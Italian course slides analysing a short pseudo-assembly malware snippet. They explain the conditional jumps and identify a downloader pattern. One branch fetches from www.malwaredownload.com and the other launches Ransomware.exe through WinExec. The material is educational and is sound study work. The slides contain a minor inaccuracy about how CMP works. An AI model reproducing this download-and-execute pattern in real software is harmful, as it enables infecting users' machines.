Analisi Codice Malware

INDICE

TRACCIA ESERCIZIO

Con riferimento al codice presente nelle slide successive, rispondere ai seguenti quesiti:

- Spiegate, motivando, quale salto condizionale effettua il Malware.
- Disegnare un diagramma di flusso identificando i salti condizionali (sia quelli effettuati che quelli non effettuati). Indicate con una linea verde i salti effettuati, mentre con una linea rossa i salti non effettuati.
- Quali sono le diverse funzionalità implementate all'interno del Malware?
- Con riferimento alle istruzioni «call» presenti in tabella 2 e 3, dettagliare come sono passati gli argomenti alle successive chiamate di funzione

TRACCIA ESERCIZIO

TABELLA 1

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

TRACCIA ESERCIZIO

TABELLA 2

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

TABELLA 3

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

Salto Condizionale

Un salto condizionale è un'istruzione di controllo di flusso in programmazione che consente di modificare l'esecuzione del programma in base a una condizione specifica. In altre parole, un salto condizionale permette al programma di "saltare" da un punto all'altro del codice in base al risultato di una valutazione logica.
In questo esercizio i salti condizionali saranno scanditi dai comandi JNZ e JZ.

JNZ: In assembly sta per "Jump Not Zero" ed è un'istruzione di salto condizionale. Questo comando esegue un salto a un'etichetta specificata solo se la condizione "Not Zero" è soddisfatta. In altre parole, il salto avviene se il risultato di un'operazione precedente è diverso da zero.

JZ: In assembly sta per "Jump If Zero" ed è un'istruzione di salto condizionale. Questo comando esegue un salto a un'etichetta specificata solo se la condizione "Zero" è soddisfatta. In altre parole, il salto avviene se il risultato di un'operazione precedente è zero.

Salto Condizionale

Come detto nella slide precedente le istruzioni JNZ e JZ eseguono il salto solo se il risultato dell'operazione è, o non è, zero; avremo quindi bisogno di un'istruzione anteposta che esegua questa operazione, ovvero CMP.

CMP: In assembly viene utilizzato per confrontare due operandi. Non effettua alcuna operazione di sottrazione effettiva, ma imposta i flag del processore in base al risultato del confronto tra i due operandi.

Salto Condizionale

Possiamo notare dal codice del malware che alla locazione 0040105B è presente l'istruzione JNZ, la quale implementerebbe un salto condizionale, se non fosse che il CMP avrà come "risultato" 0 e quindi JNZ non verrà soddisfatto, non effettuando così il salto. Il codice andrà avanti normalmente fino a quando non si arriverà alla locazione 00401068.

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Salto Condizionale

Arrivati alla locazione 00401068 il programma effettuerà un jump in locazione 0040FFA0 (tabella 3); questo salto avviene perché tramite istruzione precedente CMP il risultato interno è 0, attivando così il salto.

Diagramma di Flusso

Un diagramma di flusso è una rappresentazione grafica di un processo o di un algoritmo. È composto da forme geometriche che rappresentano diverse fasi o attività connesse da frecce che indicano il flusso logico da una fase all'altra. Questi diagrammi sono ampiamente utilizzati in programmazione, ingegneria del software, progettazione di processi aziendali e in altri contesti in cui è necessario visualizzare la sequenza di passaggi o decisioni.

Diagramma di Flusso

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Salto NON Effettuato

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

Salto Effettuato

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

Funzionalità Implementate

Come è possibile vedere in tabella 2 e 3 il malware implementa due funzionalità:

DownloadToFile(): Metodo o una funzione di programmazione che consente di scaricare un file da una posizione remota (server web, URL) e salvarlo localmente su un sistema di archiviazione, come un disco rigido o una memoria di massa.

WinExec(): è una funzione API di Windows che è utilizzata per eseguire un programma o un eseguibile dal codice di un'applicazione Windows.

Questo malware sembrerebbe svolgere le funzioni di un Downloader

Argomenti

In linguaggio assembly, gli argomenti si riferiscono ai valori o ai dati forniti a una istruzione o a una funzione. Gli argomenti possono essere passati a un'istruzione o a una subroutine attraverso vari meccanismi a seconda dell'architettura del processore.

Con le istruzioni CALL vengono chiamate le funzioni viste prima, DownloadToFile() e WinExec(), gli argomenti vengono passati a queste funzioni tramite istruzione PUSH.

Nello specifico alla funzione DownloadToFile() viene passato l'URL.

Alla funzione WinExec() viene passato il path dell'eseguibile da aprire.

GRAZIE